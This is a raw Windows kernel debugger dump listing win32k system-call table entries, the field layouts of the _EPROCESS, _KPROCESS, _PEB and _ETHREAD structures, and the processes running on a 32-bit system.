8e178094  8e174992 win32k!NtUserEnableIAMAccess

8e178098  8e17499e win32k!NtUserGetProcessUIContextInformation

8e17809c  8e1749aa win32k!NtUserSetProcessRestrictionExemption

8e1780a0  8e1749b6 win32k!NtUserEnableMouseInPointer

8e1780a4  8e1749c2 win32k!NtUserIsMouseInPointerEnabled

8e1780a8  8e1749ce win32k!NtUserPromoteMouseInPointer

8e1780ac  8e1749da win32k!NtUserAutoPromoteMouseInPointer

8e1780b0  8e1749e6 win32k!NtUserEnableMouseInputForCursorSuppression

8e1780b4  8e1749f2 win32k!NtUserIsMouseInputEnabled

8e1780b8  8e1749fe win32k!NtUserInternalClipCursor

8e1780bc  8e174a0a win32k!NtUserCheckProcessForClipboardAccess

8e1780c0  8e174a16 win32k!NtUserGetClipboardAccessToken

8e1780c4  8e174a22 win32k!NtUserGetQueueEventStatus

8e1780c8  8e174a2e win32k!NtUserCompositionInputSinkLuidFromPoint

8e1780cc  8e174a3a win32k!NtUserUpdateWindowInputSinkHints

8e1780d0  8e174a46 win32k!NtUserTransformPoint

8e1780d4  8e174a52 win32k!NtUserTransformRect

8e1780d8  8e174a5e win32k!NtUserGetHimetricScaleFactorFromPixelLocation

8e1780dc  8e174a6a win32k!NtUserGetProcessDpiAwareness

8e1780e0  8e174a76 win32k!NtUserGetDpiForMonitor

8e1780e4  8e174a82 win32k!NtUserReportInertia

8e1780e8  8e174a8e win32k!NtUserLinkDpiCursor

8e1780ec  8e174a9a win32k!NtUserGetCursorDims

8e1780f0  8e174e42 win32k!NtUserInitializeInputDeviceInjection

8e1780f4  8e174e4e win32k!NtUserInitializePointerDeviceInjection

8e1780f8  8e174e5a win32k!NtUserSetFeatureReportResponse

8e1780fc  8e174e66 win32k!NtUserInjectPointerInput

8e178100  8e174e72 win32k!NtUserInjectDeviceInput





--------------------------------------------------------------------------------------------

kd> dt nt!_EPROCESS

   +0x000 Pcb              : _KPROCESS

   +0x0a8 ProcessLock      : _EX_PUSH_LOCK

   +0x0ac RundownProtect   : _EX_RUNDOWN_REF

   +0x0b0 VdmObjects       : Ptr32 Void

   +0x0b4 UniqueProcessId  : Ptr32 Void

   +0x0b8 ActiveProcessLinks : _LIST_ENTRY

   +0x0c0 Flags2           : Uint4B

   +0x0c0 JobNotReallyActive : Pos 0, 1 Bit

   +0x0c0 AccountingFolded : Pos 1, 1 Bit

   +0x0c0 NewProcessReported : Pos 2, 1 Bit

   +0x0c0 ExitProcessReported : Pos 3, 1 Bit

   +0x0c0 ReportCommitChanges : Pos 4, 1 Bit

   +0x0c0 LastReportMemory : Pos 5, 1 Bit

   +0x0c0 ForceWakeCharge  : Pos 6, 1 Bit

   +0x0c0 CrossSessionCreate : Pos 7, 1 Bit

   +0x0c0 NeedsHandleRundown : Pos 8, 1 Bit

   +0x0c0 RefTraceEnabled  : Pos 9, 1 Bit

   +0x0c0 DisableDynamicCode : Pos 10, 1 Bit

   +0x0c0 EmptyJobEvaluated : Pos 11, 1 Bit

   +0x0c0 DefaultPagePriority : Pos 12, 3 Bits

   +0x0c0 PrimaryTokenFrozen : Pos 15, 1 Bit

   +0x0c0 ProcessVerifierTarget : Pos 16, 1 Bit

   +0x0c0 StackRandomizationDisabled : Pos 17, 1 Bit

   +0x0c0 AffinityPermanent : Pos 18, 1 Bit

   +0x0c0 AffinityUpdateEnable : Pos 19, 1 Bit

   +0x0c0 PropagateNode    : Pos 20, 1 Bit

   +0x0c0 ExplicitAffinity : Pos 21, 1 Bit

   +0x0c0 ProcessExecutionState : Pos 22, 2 Bits

   +0x0c0 DisallowStrippedImages : Pos 24, 1 Bit

   +0x0c0 HighEntropyASLREnabled : Pos 25, 1 Bit

   +0x0c0 ExtensionPointDisable : Pos 26, 1 Bit

   +0x0c0 ForceRelocateImages : Pos 27, 1 Bit

   +0x0c0 ProcessStateChangeRequest : Pos 28, 2 Bits

   +0x0c0 ProcessStateChangeInProgress : Pos 30, 1 Bit

   +0x0c0 DisallowWin32kSystemCalls : Pos 31, 1 Bit

   +0x0c4 Flags            : Uint4B

   +0x0c4 CreateReported   : Pos 0, 1 Bit

   +0x0c4 NoDebugInherit   : Pos 1, 1 Bit

   +0x0c4 ProcessExiting   : Pos 2, 1 Bit

   +0x0c4 ProcessDelete    : Pos 3, 1 Bit

   +0x0c4 ControlFlowGuardEnabled : Pos 4, 1 Bit

   +0x0c4 VmDeleted        : Pos 5, 1 Bit

   +0x0c4 OutswapEnabled   : Pos 6, 1 Bit

   +0x0c4 Outswapped       : Pos 7, 1 Bit

   +0x0c4 Spare1           : Pos 8, 1 Bit

   +0x0c4 Wow64VaSpace4Gb  : Pos 9, 1 Bit

   +0x0c4 AddressSpaceInitialized : Pos 10, 2 Bits

   +0x0c4 SetTimerResolution : Pos 12, 1 Bit

   +0x0c4 BreakOnTermination : Pos 13, 1 Bit

   +0x0c4 DeprioritizeViews : Pos 14, 1 Bit

   +0x0c4 WriteWatch       : Pos 15, 1 Bit

   +0x0c4 ProcessInSession : Pos 16, 1 Bit

   +0x0c4 OverrideAddressSpace : Pos 17, 1 Bit

   +0x0c4 HasAddressSpace  : Pos 18, 1 Bit

   +0x0c4 LaunchPrefetched : Pos 19, 1 Bit

   +0x0c4 Background       : Pos 20, 1 Bit

   +0x0c4 VmTopDown        : Pos 21, 1 Bit

   +0x0c4 ImageNotifyDone  : Pos 22, 1 Bit

   +0x0c4 PdeUpdateNeeded  : Pos 23, 1 Bit

   +0x0c4 VdmAllowed       : Pos 24, 1 Bit

   +0x0c4 ProcessRundown   : Pos 25, 1 Bit

   +0x0c4 ProcessInserted  : Pos 26, 1 Bit

   +0x0c4 DefaultIoPriority : Pos 27, 3 Bits

   +0x0c4 ProcessSelfDelete : Pos 30, 1 Bit

   +0x0c4 SetTimerResolutionLink : Pos 31, 1 Bit

   +0x0c8 CreateTime       : _LARGE_INTEGER

   +0x0d0 ProcessQuotaUsage : [2] Uint4B

   +0x0d8 ProcessQuotaPeak : [2] Uint4B

   +0x0e0 PeakVirtualSize  : Uint4B

   +0x0e4 VirtualSize      : Uint4B

   +0x0e8 SessionProcessLinks : _LIST_ENTRY

   +0x0f0 ExceptionPortData : Ptr32 Void

   +0x0f0 ExceptionPortValue : Uint4B

   +0x0f0 ExceptionPortState : Pos 0, 3 Bits

   +0x0f4 Token            : _EX_FAST_REF

   +0x0f8 WorkingSetPage   : Uint4B

   +0x0fc AddressCreationLock : _EX_PUSH_LOCK

   +0x100 PageTableCommitmentLock : _EX_PUSH_LOCK

   +0x104 RotateInProgress : Ptr32 _ETHREAD

   +0x108 ForkInProgress   : Ptr32 _ETHREAD

   +0x10c CommitChargeJob  : Ptr32 _EJOB

   +0x110 CloneRoot        : _RTL_AVL_TREE

   +0x114 NumberOfPrivatePages : Uint4B

   +0x118 NumberOfLockedPages : Uint4B

   +0x11c Win32Process     : Ptr32 Void

   +0x120 Job              : Ptr32 _EJOB

   +0x124 SectionObject    : Ptr32 Void

   +0x128 SectionBaseAddress : Ptr32 Void

   +0x12c Cookie           : Uint4B

   +0x130 WorkingSetWatch  : Ptr32 _PAGEFAULT_HISTORY

   +0x134 Win32WindowStation : Ptr32 Void

   +0x138 InheritedFromUniqueProcessId : Ptr32 Void

   +0x13c LdtInformation   : Ptr32 Void

   +0x140 OwnerProcessId   : Uint4B

   +0x144 Peb              : Ptr32 _PEB

   +0x148 Session          : Ptr32 Void

   +0x14c AweInfo          : Ptr32 Void

   +0x150 QuotaBlock       : Ptr32 _EPROCESS_QUOTA_BLOCK

   +0x154 ObjectTable      : Ptr32 _HANDLE_TABLE

   +0x158 DebugPort        : Ptr32 Void

   +0x15c PaeTop           : Ptr32 Void

   +0x160 DeviceMap        : Ptr32 Void

   +0x164 EtwDataSource    : Ptr32 Void

   +0x168 PageDirectoryPte : Uint8B

   +0x170 ImageFileName    : [15] UChar

   +0x17f PriorityClass    : UChar

   +0x180 SecurityPort     : Ptr32 Void

   +0x184 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO

   +0x188 JobLinks         : _LIST_ENTRY

   +0x190 HighestUserAddress : Ptr32 Void

   +0x194 ThreadListHead   : _LIST_ENTRY

   +0x19c ActiveThreads    : Uint4B

   +0x1a0 ImagePathHash    : Uint4B

   +0x1a4 DefaultHardErrorProcessing : Uint4B

   +0x1a8 LastThreadExitStatus : Int4B

   +0x1ac PrefetchTrace    : _EX_FAST_REF

   +0x1b0 LockedPagesList  : Ptr32 Void

   +0x1b8 ReadOperationCount : _LARGE_INTEGER

   +0x1c0 WriteOperationCount : _LARGE_INTEGER

   +0x1c8 OtherOperationCount : _LARGE_INTEGER

   +0x1d0 ReadTransferCount : _LARGE_INTEGER

   +0x1d8 WriteTransferCount : _LARGE_INTEGER

   +0x1e0 OtherTransferCount : _LARGE_INTEGER

   +0x1e8 CommitChargeLimit : Uint4B

   +0x1ec CommitCharge     : Uint4B

   +0x1f0 CommitChargePeak : Uint4B

   +0x1f4 Vm               : _MMSUPPORT

   +0x26c MmProcessLinks   : _LIST_ENTRY

   +0x274 ModifiedPageCount : Uint4B

   +0x278 ExitStatus       : Int4B

   +0x27c VadRoot          : _RTL_AVL_TREE

   +0x280 VadHint          : Ptr32 Void

   +0x284 VadCount         : Uint4B

   +0x288 VadPhysicalPages : Uint4B

   +0x28c VadPhysicalPagesLimit : Uint4B

   +0x290 AlpcContext      : _ALPC_PROCESS_CONTEXT

   +0x2a0 TimerResolutionLink : _LIST_ENTRY

   +0x2a8 TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD

   +0x2ac RequestedTimerResolution : Uint4B

   +0x2b0 SmallestTimerResolution : Uint4B

   +0x2b8 ExitTime         : _LARGE_INTEGER

   +0x2c0 ActiveThreadsHighWatermark : Uint4B

   +0x2c4 LargePrivateVadCount : Uint4B

   +0x2c8 ThreadListLock   : _EX_PUSH_LOCK

   +0x2cc WnfContext       : Ptr32 Void

   +0x2d0 Spare0           : Uint4B

   +0x2d4 SignatureLevel   : UChar

   +0x2d5 SectionSignatureLevel : UChar

   +0x2d6 Protection       : _PS_PROTECTION

   +0x2d7 SpareByte20      : [1] UChar

   +0x2d8 Flags3           : Uint4B

   +0x2d8 Minimal          : Pos 0, 1 Bit

   +0x2d8 ReplacingPageRoot : Pos 1, 1 Bit

   +0x2dc SvmReserved      : Int4B

   +0x2e0 SvmReserved1     : Ptr32 Void

   +0x2e4 SvmReserved2     : Uint4B

   +0x2e8 LastFreezeInterruptTime : Uint8B

   +0x2f0 DiskCounters     : Ptr32 _PROCESS_DISK_COUNTERS

   +0x2f4 KeepAliveCounter : Uint4B

   +0x2f8 NoWakeKeepAliveCounter : Uint4B

   +0x2fc HighPriorityFaultsAllowed : Uint4B

   +0x300 InstrumentationCallback : Ptr32 Void

   +0x304 EnergyValues     : Ptr32 _PROCESS_ENERGY_VALUES

   +0x308 VmContext        : Ptr32 Void





--------------------------------------------------------------------------------------

kd> dt nt!_KPROCESS

   +0x000 Header           : _DISPATCHER_HEADER

   +0x010 ProfileListHead  : _LIST_ENTRY

   +0x018 DirectoryTableBase : Uint4B

   +0x01c LdtDescriptor    : _KGDTENTRY

   +0x024 Int21Descriptor  : _KIDTENTRY

   +0x02c ThreadListHead   : _LIST_ENTRY

   +0x034 ProcessLock      : Uint4B

   +0x038 DeepFreezeStartTime : Uint8B

   +0x040 Affinity         : _KAFFINITY_EX

   +0x04c ReadyListHead    : _LIST_ENTRY

   +0x054 SwapListEntry    : _SINGLE_LIST_ENTRY

   +0x058 ActiveProcessors : _KAFFINITY_EX

   +0x064 AutoAlignment    : Pos 0, 1 Bit

   +0x064 DisableBoost     : Pos 1, 1 Bit

   +0x064 DisableQuantum   : Pos 2, 1 Bit

   +0x064 AffinitySet      : Pos 3, 1 Bit

   +0x064 DeepFreeze       : Pos 4, 1 Bit

   +0x064 TimerVirtualization : Pos 5, 1 Bit

   +0x064 CheckStackExtents : Pos 6, 1 Bit

   +0x064 SecureProcess    : Pos 7, 1 Bit

   +0x064 ActiveGroupsMask : Pos 8, 1 Bit

   +0x064 ReservedFlags    : Pos 9, 23 Bits

   +0x064 ProcessFlags     : Int4B

   +0x068 BasePriority     : Char

   +0x069 QuantumReset     : Char

   +0x06a Visited          : UChar

   +0x06b Flags            : _KEXECUTE_OPTIONS

   +0x06c ThreadSeed       : [1] Uint4B

   +0x070 IdealNode        : [1] Uint2B

   +0x072 IdealGlobalNode  : Uint2B

   +0x074 Spare1           : Uint2B

   +0x076 IopmOffset       : Uint2B

   +0x078 SchedulingGroup  : Ptr32 _KSCHEDULING_GROUP

   +0x07c StackCount       : _KSTACK_COUNT

   +0x080 ProcessListEntry : _LIST_ENTRY

   +0x088 CycleTime        : Uint8B

   +0x090 ContextSwitches  : Uint8B

   +0x098 FreezeCount      : Uint4B

   +0x09c KernelTime       : Uint4B

   +0x0a0 UserTime         : Uint4B

   +0x0a4 VdmTrapcHandler  : Ptr32 Void





--------------------------------------------------------------------------------------

kd> dt nt!_PEB

   +0x000 InheritedAddressSpace : UChar

   +0x001 ReadImageFileExecOptions : UChar

   +0x002 BeingDebugged    : UChar

   +0x003 BitField         : UChar

   +0x003 ImageUsesLargePages : Pos 0, 1 Bit

   +0x003 IsProtectedProcess : Pos 1, 1 Bit

   +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit

   +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit

   +0x003 IsPackagedProcess : Pos 4, 1 Bit

   +0x003 IsAppContainer   : Pos 5, 1 Bit

   +0x003 IsProtectedProcessLight : Pos 6, 1 Bit

   +0x003 SpareBits        : Pos 7, 1 Bit

   +0x004 Mutant           : Ptr32 Void

   +0x008 ImageBaseAddress : Ptr32 Void

   +0x00c Ldr              : Ptr32 _PEB_LDR_DATA

   +0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS

   +0x014 SubSystemData    : Ptr32 Void

   +0x018 ProcessHeap      : Ptr32 Void

   +0x01c FastPebLock      : Ptr32 _RTL_CRITICAL_SECTION

   +0x020 AtlThunkSListPtr : Ptr32 Void

   +0x024 IFEOKey          : Ptr32 Void

   +0x028 CrossProcessFlags : Uint4B

   +0x028 ProcessInJob     : Pos 0, 1 Bit

   +0x028 ProcessInitializing : Pos 1, 1 Bit

   +0x028 ProcessUsingVEH  : Pos 2, 1 Bit

   +0x028 ProcessUsingVCH  : Pos 3, 1 Bit

   +0x028 ProcessUsingFTH  : Pos 4, 1 Bit

   +0x028 ReservedBits0    : Pos 5, 27 Bits

   +0x02c KernelCallbackTable : Ptr32 Void

   +0x02c UserSharedInfoPtr : Ptr32 Void

   +0x030 SystemReserved   : [1] Uint4B

   +0x034 AtlThunkSListPtr32 : Uint4B

   +0x038 ApiSetMap        : Ptr32 Void

   +0x03c TlsExpansionCounter : Uint4B

   +0x040 TlsBitmap        : Ptr32 Void

   +0x044 TlsBitmapBits    : [2] Uint4B

   +0x04c ReadOnlySharedMemoryBase : Ptr32 Void

   +0x050 SparePvoid0      : Ptr32 Void

   +0x054 ReadOnlyStaticServerData : Ptr32 Ptr32 Void

   +0x058 AnsiCodePageData : Ptr32 Void

   +0x05c OemCodePageData  : Ptr32 Void

   +0x060 UnicodeCaseTableData : Ptr32 Void

   +0x064 NumberOfProcessors : Uint4B

   +0x068 NtGlobalFlag     : Uint4B

   +0x070 CriticalSectionTimeout : _LARGE_INTEGER

   +0x078 HeapSegmentReserve : Uint4B

   +0x07c HeapSegmentCommit : Uint4B

   +0x080 HeapDeCommitTotalFreeThreshold : Uint4B

   +0x084 HeapDeCommitFreeBlockThreshold : Uint4B

   +0x088 NumberOfHeaps    : Uint4B

   +0x08c MaximumNumberOfHeaps : Uint4B

   +0x090 ProcessHeaps     : Ptr32 Ptr32 Void

   +0x094 GdiSharedHandleTable : Ptr32 Void

   +0x098 ProcessStarterHelper : Ptr32 Void

   +0x09c GdiDCAttributeList : Uint4B

   +0x0a0 LoaderLock       : Ptr32 _RTL_CRITICAL_SECTION

   +0x0a4 OSMajorVersion   : Uint4B

   +0x0a8 OSMinorVersion   : Uint4B

   +0x0ac OSBuildNumber    : Uint2B

   +0x0ae OSCSDVersion     : Uint2B

   +0x0b0 OSPlatformId     : Uint4B

   +0x0b4 ImageSubsystem   : Uint4B

   +0x0b8 ImageSubsystemMajorVersion : Uint4B

   +0x0bc ImageSubsystemMinorVersion : Uint4B

   +0x0c0 ActiveProcessAffinityMask : Uint4B

   +0x0c4 GdiHandleBuffer  : [34] Uint4B

   +0x14c PostProcessInitRoutine : Ptr32     void 

   +0x150 TlsExpansionBitmap : Ptr32 Void

   +0x154 TlsExpansionBitmapBits : [32] Uint4B

   +0x1d4 SessionId        : Uint4B

   +0x1d8 AppCompatFlags   : _ULARGE_INTEGER

   +0x1e0 AppCompatFlagsUser : _ULARGE_INTEGER

   +0x1e8 pShimData        : Ptr32 Void

   +0x1ec AppCompatInfo    : Ptr32 Void

   +0x1f0 CSDVersion       : _UNICODE_STRING

   +0x1f8 ActivationContextData : Ptr32 _ACTIVATION_CONTEXT_DATA

   +0x1fc ProcessAssemblyStorageMap : Ptr32 _ASSEMBLY_STORAGE_MAP

   +0x200 SystemDefaultActivationContextData : Ptr32 _ACTIVATION_CONTEXT_DATA

   +0x204 SystemAssemblyStorageMap : Ptr32 _ASSEMBLY_STORAGE_MAP

   +0x208 MinimumStackCommit : Uint4B

   +0x20c FlsCallback      : Ptr32 _FLS_CALLBACK_INFO

   +0x210 FlsListHead      : _LIST_ENTRY

   +0x218 FlsBitmap        : Ptr32 Void

   +0x21c FlsBitmapBits    : [4] Uint4B

   +0x22c FlsHighIndex     : Uint4B

   +0x230 WerRegistrationData : Ptr32 Void

   +0x234 WerShipAssertPtr : Ptr32 Void

   +0x238 pUnused          : Ptr32 Void

   +0x23c pImageHeaderHash : Ptr32 Void

   +0x240 TracingFlags     : Uint4B

   +0x240 HeapTracingEnabled : Pos 0, 1 Bit

   +0x240 CritSecTracingEnabled : Pos 1, 1 Bit

   +0x240 LibLoaderTracingEnabled : Pos 2, 1 Bit

   +0x240 SpareTracingBits : Pos 3, 29 Bits

   +0x248 CsrServerReadOnlySharedMemoryBase : Uint8B



-------------------------------------------------------------------------------------------------

kd> !process 0 0

**** NT ACTIVE PROCESS DUMP ****

PROCESS 8547bac0  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000

    DirBase: 001a8000  ObjectTable: 86403000  HandleCount: <Data Not Accessible>

    Image: System



PROCESS 8a381040  SessionId: none  Cid: 0200    Peb: 7fd8e000  ParentCid: 0004

    DirBase: 3fff2020  ObjectTable: 8b814a40  HandleCount: <Data Not Accessible>

    Image: smss.exe



PROCESS 80711340  SessionId: 0  Cid: 0258    Peb: 7f347000  ParentCid: 0250

    DirBase: 3fff2060  ObjectTable: 8ca52e00  HandleCount: <Data Not Accessible>

    Image: csrss.exe



PROCESS 85512c80  SessionId: 1  Cid: 029c    Peb: 7f31f000  ParentCid: 0294

    DirBase: 3fff20a0  ObjectTable: 8cb754c0  HandleCount: <Data Not Accessible>

    Image: csrss.exe



PROCESS 85522c80  SessionId: 0  Cid: 02a8    Peb: 7fcd5000  ParentCid: 0250

    DirBase: 3fff20c0  ObjectTable: 8cb80940  HandleCount: <Data Not Accessible>

    Image: wininit.exe



PROCESS 85475100  SessionId: 1  Cid: 02c8    Peb: 7f14c000  ParentCid: 0294

    DirBase: 3fff20e0  ObjectTable: 8cb875c0  HandleCount: <Data Not Accessible>

    Image: winlogon.exe



PROCESS 854d3a40  SessionId: 0  Cid: 02fc    Peb: 7f24c000  ParentCid: 02a8

    DirBase: 3fff2080  ObjectTable: 8e462300  HandleCount: <Data Not Accessible>

    Image: services.exe



PROCESS 85506c80  SessionId: 0  Cid: 0308    Peb: 7f149000  ParentCid: 02a8

    DirBase: 3fff2040  ObjectTable: 8cba3980  HandleCount: <Data Not Accessible>

    Image: lsass.exe



PROCESS 80dd5400  SessionId: 0  Cid: 0370    Peb: 7f625000  ParentCid: 02fc

    DirBase: 3fff2100  ObjectTable: 9e464800  HandleCount: <Data Not Accessible>

    Image: svchost.exe



PROCESS 8a26b040  SessionId: 0  Cid: 0398    Peb: 7f50e000  ParentCid: 02fc

    DirBase: 3fff2120  ObjectTable: 9e472300  HandleCount: <Data Not Accessible>

    Image: svchost.exe



PROCESS 9b624cc0  SessionId: 1  Cid: 0418    Peb: 7f87f000  ParentCid: 02c8

    DirBase: 3fff2160  ObjectTable: 9e522ec0  HandleCount: <Data Not Accessible>

    Image: dwm.exe



PROCESS 9b629740  SessionId: 0  Cid: 0428    Peb: 7f1ff000  ParentCid: 02fc

    DirBase: 3fff2180  ObjectTable: 9e57e7c0  HandleCount: <Data Not Accessible>

    Image: svchost.exe



PROCESS 9b672040  SessionId: 0  Cid: 049c    Peb: 7fbcf000  ParentCid: 02fc

    DirBase: 3fff21a0  ObjectTable: a0c145c0  HandleCount: <Data Not Accessible>

    Image: svchost.exe



PROCESS 9b675280  SessionId: 0  Cid: 04a8    Peb: 7f1fc000  ParentCid: 02fc

    DirBase: 3fff21c0  ObjectTable: a0c13a80  HandleCount: <Data Not Accessible>

    Image: svchost.exe



PROCESS 9b669040  SessionId: 0  Cid: 04c8    Peb: 7f8f6000  ParentCid: 02fc

    DirBase: 3fff21e0  ObjectTable: a0c16100  HandleCount: <Data Not Accessible>

    Image: svchost.exe



PROCESS 8a37a840  SessionId: 0  Cid: 05b8    Peb: 7f91f000  ParentCid: 02fc

    DirBase: 3fff2220  ObjectTable: a0ccebc0  HandleCount: <Data Not Accessible>

    Image: svchost.exe



PROCESS 9b776840  SessionId: 0  Cid: 06cc    Peb: 7fde7000  ParentCid: 02fc

    DirBase: 3fff2280  ObjectTable: a2246b80  HandleCount: <Data Not Accessible>

    Image: spoolsv.exe



PROCESS 9b7b7040  SessionId: 0  Cid: 0700    Peb: 7f9db000  ParentCid: 02fc

    DirBase: 3fff22a0  ObjectTable: a225d540  HandleCount: <Data Not Accessible>

    Image: svchost.exe



PROCESS 9b7c8780  SessionId: 0  Cid: 0234    Peb: 7effc000  ParentCid: 04a8

    DirBase: 3fff2260  ObjectTable: a0cba040  HandleCount: <Data Not Accessible>

    Image: WUDFHost.exe



PROCESS a2a86040  SessionId: 0  Cid: 0310    Peb: 7f2fa000  ParentCid: 02fc

    DirBase: 3fff2140  ObjectTable: a2258b00  HandleCount: <Data Not Accessible>

    Image: vmtoolsd.exe



PROCESS 8a3db900  SessionId: 0  Cid: 046c    Peb: 7f3b5000  ParentCid: 02fc

    DirBase: 3fff2200  ObjectTable: a23352c0  HandleCount: <Data Not Accessible>

    Image: MsMpEng.exe



PROCESS a2adacc0  SessionId: 0  Cid: 0764    Peb: 7fd03000  ParentCid: 02fc

    DirBase: 3fff22e0  ObjectTable: 8cbd2840  HandleCount: <Data Not Accessible>

    Image: svchost.exe



PROCESS 89d26a80  SessionId: 0  Cid: 057c    Peb: 7f0c9000  ParentCid: 04a8

    DirBase: 3fff2300  ObjectTable: 9e51f740  HandleCount: <Data Not Accessible>

    Image: WUDFHost.exe



PROCESS 80dfccc0  SessionId: 0  Cid: 0464    Peb: 7f0cf000  ParentCid: 02fc

    DirBase: 3fff2320  ObjectTable: a0dda040  HandleCount: <Data Not Accessible>

    Image: dllhost.exe



PROCESS 80dd1600  SessionId: 0  Cid: 087c    Peb: 7f1a8000  ParentCid: 02fc

    DirBase: 3fff2380  ObjectTable: 88d01a40  HandleCount: <Data Not Accessible>

    Image: msdtc.exe



PROCESS 9b75ab00  SessionId: 0  Cid: 08e4    Peb: 7ff7f000  ParentCid: 04a8

    DirBase: 3fff2360  ObjectTable: a26f9a80  HandleCount: <Data Not Accessible>

    Image: dasHost.exe



PROCESS 9b7ec040  SessionId: 1  Cid: 0954    Peb: 7fed3000  ParentCid: 04a8

    DirBase: 3fff23a0  ObjectTable: 00000000  HandleCount:   0.

    Image: TabTip.exe



PROCESS a2a46180  SessionId: 0  Cid: 0964    Peb: 7fe6f000  ParentCid: 02fc

    DirBase: 3fff23c0  ObjectTable: a270df80  HandleCount: <Data Not Accessible>

    Image: svchost.exe



PROCESS a2b17040  SessionId: 0  Cid: 0d44    Peb: 7f8dd000  ParentCid: 02fc

    DirBase: 3fff23e0  ObjectTable: a4d729c0  HandleCount: <Data Not Accessible>

    Image: sppsvc.exe



PROCESS a2b1acc0  SessionId: 0  Cid: 0d94    Peb: 7fc4c000  ParentCid: 0428

    DirBase: 3fff2440  ObjectTable: a4d56c40  HandleCount: <Data Not Accessible>

    Image: WMIADAP.exe



PROCESS a91fab40  SessionId: 1  Cid: 0dd0    Peb: 7f6d6000  ParentCid: 0428

    DirBase: 3fff2420  ObjectTable: a4d77800  HandleCount: <Data Not Accessible>

    Image: taskhostex.exe



PROCESS afa7e040  SessionId: 1  Cid: 0e60    Peb: 7feb4000  ParentCid: 0370

    DirBase: 3fff2240  ObjectTable: a4d5c240  HandleCount: <Data Not Accessible>

    Image: ChsIME.exe



PROCESS afa946c0  SessionId: 1  Cid: 0e88    Peb: 7f474000  ParentCid: 0e1c

    DirBase: 3fff2460  ObjectTable: a2752480  HandleCount: <Data Not Accessible>

    Image: explorer.exe



PROCESS a2babcc0  SessionId: 1  Cid: 0f4c    Peb: 7f27b000  ParentCid: 04a8

    DirBase: 3fff22c0  ObjectTable: b044a780  HandleCount: <Data Not Accessible>

    Image: TabTip.exe



PROCESS afa1e600  SessionId: 1  Cid: 09a4    Peb: 7fe17000  ParentCid: 0370

    DirBase: 3fff24a0  ObjectTable: b0656a00  HandleCount: <Data Not Accessible>

    Image: livecomm.exe



PROCESS a2abac80  SessionId: 0  Cid: 0970    Peb: 7fe4f000  ParentCid: 02fc

    DirBase: 3fff2400  ObjectTable: a53ffe40  HandleCount: <Data Not Accessible>

    Image: SearchIndexer.exe



PROCESS a2ae63c0  SessionId: 1  Cid: 0b80    Peb: 7fc0f000  ParentCid: 0370

    DirBase: 3fff24c0  ObjectTable: 864ab4c0  HandleCount: <Data Not Accessible>

    Image: SkyDrive.exe



PROCESS a91bf380  SessionId: 0  Cid: 0d30    Peb: 7f3df000  ParentCid: 0428

    DirBase: 3fff2480  ObjectTable: a4c17440  HandleCount: <Data Not Accessible>

    Image: taskhost.exe



PROCESS afa59a80  SessionId: 0  Cid: 0d70    Peb: 7f7c8000  ParentCid: 0428

    DirBase: 3fff24e0  ObjectTable: a94e4200  HandleCount: <Data Not Accessible>

    Image: wsqmcons.exe



PROCESS a9128380  SessionId: 0  Cid: 0d60    Peb: 7f61f000  ParentCid: 0428

    DirBase: 3fff2500  ObjectTable: a4d75f80  HandleCount: <Data Not Accessible>

    Image: taskhostex.exe



PROCESS afa2fb00  SessionId: 1  Cid: 0ccc    Peb: 7f0a6000  ParentCid: 0428

    DirBase: 3fff2520  ObjectTable: a9487e80  HandleCount: <Data Not Accessible>

    Image: rundll32.exe



PROCESS a9007ac0  SessionId: 0  Cid: 0e28    Peb: 7f48b000  ParentCid: 0428

    DirBase: 3fff2540  ObjectTable: 88c54f80  HandleCount: <Data Not Accessible>

    Image: rundll32.exe



PROCESS afaaacc0  SessionId: 1  Cid: 0abc    Peb: 7f898000  ParentCid: 0428

    DirBase: 3fff2340  ObjectTable: a94cb3c0  HandleCount: <Data Not Accessible>

    Image: taskhost.exe



PROCESS a91e9500  SessionId: 1  Cid: 0038    Peb: 7fa03000  ParentCid: 0370

    DirBase: 3fff2560  ObjectTable: a94856c0  HandleCount: <Data Not Accessible>

    Image: SettingSyncHost.exe



PROCESS afa35c00  SessionId: 0  Cid: 0b7c    Peb: 7faa7000  ParentCid: 0970

    DirBase: 3fff2580  ObjectTable: a94ea140  HandleCount: <Data Not Accessible>

    Image: SearchProtocolHost.exe



PROCESS afa60040  SessionId: 0  Cid: 0da0    Peb: 7f3bf000  ParentCid: 0970

    DirBase: 3fff25a0  ObjectTable: a9566800  HandleCount: <Data Not Accessible>

    Image: SearchFilterHost.exe



PROCESS a2ad9cc0  SessionId: 1  Cid: 0f9c    Peb: 7f30f000  ParentCid: 0428

    DirBase: 3fff25c0  ObjectTable: a9510f00  HandleCount: <Data Not Accessible>

    Image: taskhost.exe



PROCESS a91fc180  SessionId: 1  Cid: 0f5c    Peb: 7f503000  ParentCid: 0370

    DirBase: 3fff25e0  ObjectTable: a0d60a80  HandleCount: <Data Not Accessible>

    Image: RuntimeBroker.exe



PROCESS afae8cc0  SessionId: 0  Cid: 0508    Peb: 7f9f8000  ParentCid: 0cb4

    DirBase: 3fff2640  ObjectTable: a95f53c0  HandleCount: <Data Not Accessible>

    Image: MpCmdRun.exe



---------------------------------------------------------------------------------------------------

kd> dt nt!_ETHREAD

   +0x000 Tcb              : _KTHREAD

   +0x338 CreateTime       : _LARGE_INTEGER

   +0x340 ExitTime         : _LARGE_INTEGER

   +0x340 KeyedWaitChain   : _LIST_ENTRY

   +0x348 ChargeOnlySession : Ptr32 Void

   +0x34c PostBlockList    : _LIST_ENTRY

   +0x34c ForwardLinkShadow : Ptr32 Void

   +0x350 StartAddress     : Ptr32 Void

   +0x354 TerminationPort  : Ptr32 _TERMINATION_PORT

   +0x354 ReaperLink       : Ptr32 _ETHREAD

   +0x354 KeyedWaitValue   : Ptr32 Void

   +0x358 ActiveTimerListLock : Uint4B

   +0x35c ActiveTimerListHead : _LIST_ENTRY

   +0x364 Cid              : _CLIENT_ID

   +0x36c KeyedWaitSemaphore : _KSEMAPHORE

   +0x36c AlpcWaitSemaphore : _KSEMAPHORE

   +0x380 ClientSecurity   : _PS_CLIENT_SECURITY_CONTEXT

   +0x384 IrpList          : _LIST_ENTRY

   +0x38c TopLevelIrp      : Uint4B

   +0x390 DeviceToVerify   : Ptr32 _DEVICE_OBJECT

